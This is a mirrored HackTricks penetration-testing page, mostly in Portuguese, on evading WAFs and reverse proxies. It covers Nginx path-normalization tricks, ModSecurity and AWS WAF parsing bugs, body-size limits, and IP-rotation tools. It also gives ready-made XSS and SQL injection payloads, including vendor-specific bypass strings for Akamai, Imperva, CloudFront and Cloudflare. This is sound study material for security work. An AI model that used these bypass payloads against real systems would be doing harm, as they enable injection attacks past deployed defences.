mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	
		
			
				
	
	
		
			235 lines
		
	
	
		
			16 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
			
		
		
	
	
			235 lines
		
	
	
		
			16 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
# Bypass de Proteções de Proxy / WAF
 | 
						||
 | 
						||
{{#include ../banners/hacktricks-training.md}}
 | 
						||
 | 
						||
 | 
						||
## Bypass Nginx ACL Rules with Pathname Manipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
 | 
						||
 | 
						||
Técnicas [desta pesquisa](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
 | 
						||
 | 
						||
Exemplo de regra do Nginx:
 | 
						||
```plaintext
 | 
						||
location = /admin {
 | 
						||
deny all;
 | 
						||
}
 | 
						||
 | 
						||
location = /admin/ {
 | 
						||
deny all;
 | 
						||
}
 | 
						||
```
 | 
						||
Para prevenir bypasses, o Nginx executa a normalização do caminho antes de verificá-lo. No entanto, se o servidor backend realizar uma normalização diferente (removendo caracteres que o Nginx não remove), pode ser possível realizar um bypass dessa defesa.
 | 
						||
 | 
						||
### **NodeJS - Express**
 | 
						||
 | 
						||
| Versão do Nginx | **Caracteres de Bypass do Node.js** |
 | 
						||
| --------------- | ----------------------------------- |
 | 
						||
| 1.22.0          | `\xA0`                              |
 | 
						||
| 1.21.6          | `\xA0`                              |
 | 
						||
| 1.20.2          | `\xA0`, `\x09`, `\x0C`              |
 | 
						||
| 1.18.0          | `\xA0`, `\x09`, `\x0C`              |
 | 
						||
| 1.16.1          | `\xA0`, `\x09`, `\x0C`              |
 | 
						||
 | 
						||
### **Flask**
 | 
						||
 | 
						||
| Versão do Nginx | **Caracteres de Bypass do Flask**                             |
 | 
						||
| --------------- | ------------------------------------------------------------- |
 | 
						||
| 1.22.0          | `\x85`, `\xA0`                                                |
 | 
						||
| 1.21.6          | `\x85`, `\xA0`                                                |
 | 
						||
| 1.20.2          | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
 | 
						||
| 1.18.0          | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
 | 
						||
| 1.16.1          | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
 | 
						||
 | 
						||
### **Spring Boot**
 | 
						||
 | 
						||
| Versão do Nginx | **Caracteres de Bypass do Spring Boot** |
 | 
						||
| --------------- | --------------------------------------- |
 | 
						||
| 1.22.0          | `;`                                     |
 | 
						||
| 1.21.6          | `;`                                     |
 | 
						||
| 1.20.2          | `\x09`, `;`                             |
 | 
						||
| 1.18.0          | `\x09`, `;`                             |
 | 
						||
| 1.16.1          | `\x09`, `;`                             |
 | 
						||
 | 
						||
### **PHP-FPM**
 | 
						||
 | 
						||
Configuração do Nginx FPM:
 | 
						||
```plaintext
 | 
						||
location = /admin.php {
 | 
						||
deny all;
 | 
						||
}
 | 
						||
 | 
						||
location ~ \.php$ {
 | 
						||
include snippets/fastcgi-php.conf;
 | 
						||
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
 | 
						||
}
 | 
						||
```
 | 
						||
Nginx está configurado para bloquear o acesso a `/admin.php`, mas é possível contornar isso acessando `/admin.php/index.php`.
 | 
						||
 | 
						||
### Como prevenir
 | 
						||
```plaintext
 | 
						||
location ~* ^/admin {
 | 
						||
deny all;
 | 
						||
}
 | 
						||
```
 | 
						||
## Bypass Mod Security Rules <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
 | 
						||
 | 
						||
### Path Confusion
 | 
						||
 | 
						||
[**In this post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) é explicado que o ModSecurity v3 (até 3.0.12), **implementou incorretamente a variável `REQUEST_FILENAME`** que deveria conter o path acessado (até o início dos parâmetros). Isso ocorreu porque ele realizou um URL decode para obter o path.\
 | 
						||
Portanto, uma request como `http://example.com/foo%3f';alert(1);foo=` no mod security vai supor que o path é apenas `/foo` porque `%3f` é transformado em `?`, encerrando o path da URL, mas na verdade o path que o servidor receberá será `/foo%3f';alert(1);foo=`.
 | 
						||
 | 
						||
As variáveis `REQUEST_BASENAME` e `PATH_INFO` também foram afetadas por esse bug.
 | 
						||
 | 
						||
Algo semelhante ocorreu na versão 2 do Mod Security que permitia burlar uma proteção que impedia o acesso de usuários a arquivos com extensões específicas relacionadas a backups (como `.bak`) simplesmente enviando o ponto codificado em URL `%2e`, por exemplo: `https://example.com/backup%2ebak`.
 | 
						||
 | 
						||
## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
 | 
						||
 | 
						||
### Malformed Header
 | 
						||
 | 
						||
[This research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) menciona que era possível burlar regras do AWS WAF aplicadas sobre cabeçalhos HTTP enviando um cabeçalho "malformed" que não era corretamente parseado pelo AWS, mas era pelo servidor backend.
 | 
						||
 | 
						||
Por exemplo, enviando a seguinte request com uma SQL injection no cabeçalho X-Query:
 | 
						||
```http
 | 
						||
GET / HTTP/1.1\r\n
 | 
						||
Host: target.com\r\n
 | 
						||
X-Query: Value\r\n
 | 
						||
\t' or '1'='1' -- \r\n
 | 
						||
Connection: close\r\n
 | 
						||
\r\n
 | 
						||
```
 | 
						||
Era possível contornar o AWS WAF porque ele não entendia que a linha seguinte fazia parte do valor do cabeçalho enquanto o servidor NODEJS entendia (isso foi corrigido).
 | 
						||
 | 
						||
## Bypasses genéricos de WAF
 | 
						||
 | 
						||
### Limites de tamanho de requisição
 | 
						||
 | 
						||
Normalmente WAFs têm um certo limite de comprimento das requisições a serem verificadas e se uma requisição POST/PUT/PATCH ultrapassar esse limite, o WAF não verificará a requisição.
 | 
						||
 | 
						||
- For AWS WAF, you can [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
 | 
						||
 | 
						||
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Tamanho máximo do corpo de uma requisição web que pode ser inspecionado para as proteções do Application Load Balancer e AWS AppSync</td><td>8 KB</td></tr><tr><td>Tamanho máximo do corpo de uma requisição web que pode ser inspecionado para as proteções do CloudFront, API Gateway, Amazon Cognito, App Runner, e Verified Access**</td><td>64 KB</td></tr></tbody></table>
 | 
						||
 | 
						||
- From [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
 | 
						||
 | 
						||
Web Application Firewalls mais antigos com Core Rule Set 3.1 (ou inferior) permitem mensagens maiores que **128 KB** ao desligar a inspeção do corpo da requisição, mas essas mensagens não serão verificadas por vulnerabilidades. Para versões mais novas (Core Rule Set 3.2 ou superior), o mesmo pode ser feito desabilitando o limite máximo do corpo da requisição. Quando uma requisição excede o limite de tamanho:
 | 
						||
 | 
						||
Se **modo de prevenção**: Registra e bloqueia a requisição.\
 | 
						||
Se **modo de detecção**: Inspeciona até o limite, ignora o resto e registra se o `Content-Length` exceder o limite.
 | 
						||
 | 
						||
- From [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
 | 
						||
 | 
						||
Por padrão, o WAF inspeciona apenas os primeiros 8KB de uma requisição. Pode aumentar o limite até 128KB adicionando Advanced Metadata.
 | 
						||
 | 
						||
- From [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
 | 
						||
 | 
						||
Até 128KB.
 | 
						||
 | 
						||
### Brechas na inspeção de assets estáticos (.js GETs)
 | 
						||
 | 
						||
Algumas pilhas CDN/WAF aplicam inspeção de conteúdo fraca ou nenhuma em requisições GET para assets estáticos (por exemplo caminhos terminando com `.js`), enquanto ainda aplicam regras globais como rate limiting e reputação de IP. Combinado com auto-caching de extensões estáticas, isso pode ser abusado para entregar ou semear variantes maliciosas que afetam respostas HTML subsequentes.
 | 
						||
 | 
						||
Casos de uso práticos:
 | 
						||
 | 
						||
- Enviar payloads em headers não confiáveis (por exemplo, `User-Agent`) em um GET para um path `.js` para evitar inspeção de conteúdo, e então solicitar imediatamente o HTML principal para influenciar a variante em cache.
 | 
						||
- Usar um IP novo/limpo; uma vez que um IP é sinalizado, mudanças de roteamento podem tornar a técnica pouco confiável.
 | 
						||
- No Burp Repeater, usar "Send group in parallel" (estilo single-packet) para correr as duas requisições (`.js` então HTML) pela mesma rota de front-end.
 | 
						||
 | 
						||
Isso combina bem com header-reflection cache poisoning. Veja:
 | 
						||
 | 
						||
{{#ref}}
 | 
						||
cache-deception/README.md
 | 
						||
{{#endref}}
 | 
						||
 | 
						||
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
 | 
						||
 | 
						||
### Ofuscação <a href="#ip-rotation" id="ip-rotation"></a>
 | 
						||
```bash
 | 
						||
# IIS, ASP Clasic
 | 
						||
<%s%cr%u0131pt> == <script>
 | 
						||
 | 
						||
# Path blacklist bypass - Tomcat
 | 
						||
/path1/path2/ == ;/path1;foo/path2;bar/;
 | 
						||
```
 | 
						||
### Compatibilidade Unicode <a href="#unicode-compatability" id="unicode-compatability"></a>
 | 
						||
 | 
						||
Dependendo da implementação da normalização Unicode (mais informações [aqui](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), caracteres que compartilham compatibilidade Unicode podem contornar o WAF e executar como o payload pretendido. Caracteres compatíveis podem ser encontrados [aqui](https://www.compart.com/en/unicode).
 | 
						||
 | 
						||
#### Exemplo <a href="#example" id="example"></a>
 | 
						||
```bash
 | 
						||
# under the NFKD normalization algorithm, the characters on the left translate
 | 
						||
# to the XSS payload on the right
 | 
						||
<img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>
 | 
						||
```
 | 
						||
### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>
 | 
						||
 | 
						||
Como mencionado em [**this blog post**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), para contornar WAFs capazes de manter um contexto da entrada do usuário podemos abusar das técnicas do WAF para, na verdade, normalizar a entrada do usuário.
 | 
						||
 | 
						||
Por exemplo, no post é mencionado que **Akamai URL decoded a user input 10 times**. Portanto algo como `<input/%2525252525252525253e/onfocus` será visto pela Akamai como `<input/>/onfocus` que **pode achar que está ok pois a tag está fechada**. No entanto, desde que a aplicação não faça URL decode da entrada 10 vezes, a vítima verá algo como `<input/%25252525252525253e/onfocus` que é **ainda válido para um ataque XSS**.
 | 
						||
 | 
						||
Portanto, isso permite **esconder payloads em componentes codificados** que o WAF irá decodificar e interpretar enquanto a vítima não.
 | 
						||
 | 
						||
Além disso, isso pode ser feito não apenas com payloads URL encoded, mas também com outras encodings tais como unicode, hex, octal...
 | 
						||
 | 
						||
No post os seguintes bypasses finais são sugeridos:
 | 
						||
 | 
						||
- Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
 | 
						||
- Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
 | 
						||
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
 | 
						||
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
 | 
						||
 | 
						||
Também é mencionado que, dependendo de **como alguns WAFs entendem o contexto** da entrada do usuário, pode ser possível abusar disso. O exemplo proposto no blog é que Akamai permitia colocar qualquer coisa entre `/*` e `*/` (potencialmente porque isso é comumente usado como comentários). Portanto, um SQLinjection como `/*'or sleep(5)-- -*/` não seria detectado e seria válido, já que `/*` é a string inicial da injeção e `*/` é comentada.
 | 
						||
 | 
						||
Esse tipo de problema de contexto também pode ser usado para **abusar outras vulnerabilidades além da que o WAF espera proteger** (por exemplo, isso também poderia ser usado para explorar um XSS).
 | 
						||
 | 
						||
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
 | 
						||
 | 
						||
 | 
						||
{{#ref}}
 | 
						||
h2c-smuggling.md
 | 
						||
{{#endref}}
 | 
						||
 | 
						||
### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
 | 
						||
 | 
						||
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Gera uma URL de API gateway para ser usada com ffuf
 | 
						||
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Similar ao fireprox
 | 
						||
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Plugin do Burp Suite que utiliza IPs de API gateway
 | 
						||
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Um número dinamicamente determinado de instâncias de container é ativado com base no tamanho do arquivo de entrada e no fator de divisão, com a entrada dividida em chunks para execução paralela — por exemplo, 100 instâncias processando 100 chunks de um arquivo de 10.000 linhas com um split factor de 100 linhas.
 | 
						||
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
 | 
						||
 | 
						||
### Regex Bypasses
 | 
						||
 | 
						||
Diferentes técnicas podem ser usadas para contornar os filtros regex nos firewalls. Exemplos incluem alternância de case, adição de quebras de linha e encoding de payloads. Recursos para os vários bypasses podem ser encontrados em [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) e [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Os exemplos abaixo foram retirados [deste artigo](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
 | 
						||
```bash
 | 
						||
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
 | 
						||
<<script>alert(XSS)</script> #prepending an additional "<"
 | 
						||
<script>alert(XSS) // #removing the closing tag
 | 
						||
<script>alert`XSS`</script> #using backticks instead of parenetheses
 | 
						||
java%0ascript:alert(1) #using encoded newline characters
 | 
						||
<iframe src=http://malicous.com < #double open angle brackets
 | 
						||
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
 | 
						||
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
 | 
						||
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
 | 
						||
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
 | 
						||
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
 | 
						||
<iframe src="javascript:alert(`xss`)"> #unicode encoding
 | 
						||
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
 | 
						||
new Function`alt\`6\``; #using backticks instead of parentheses
 | 
						||
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
 | 
						||
%26%2397;lert(1) #using HTML encoding
 | 
						||
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
 | 
						||
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
 | 
						||
```
 | 
						||
## Ferramentas
 | 
						||
 | 
						||
- [**nowafpls**](https://github.com/assetnote/nowafpls): Plugin do Burp para adicionar dados inúteis às requisições e contornar WAFs manipulando o comprimento
 | 
						||
 | 
						||
## Referências
 | 
						||
 | 
						||
- [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
 | 
						||
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
 | 
						||
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
 | 
						||
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
 | 
						||
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
 | 
						||
 | 
						||
 | 
						||
{{#include ../banners/hacktricks-training.md}}
 |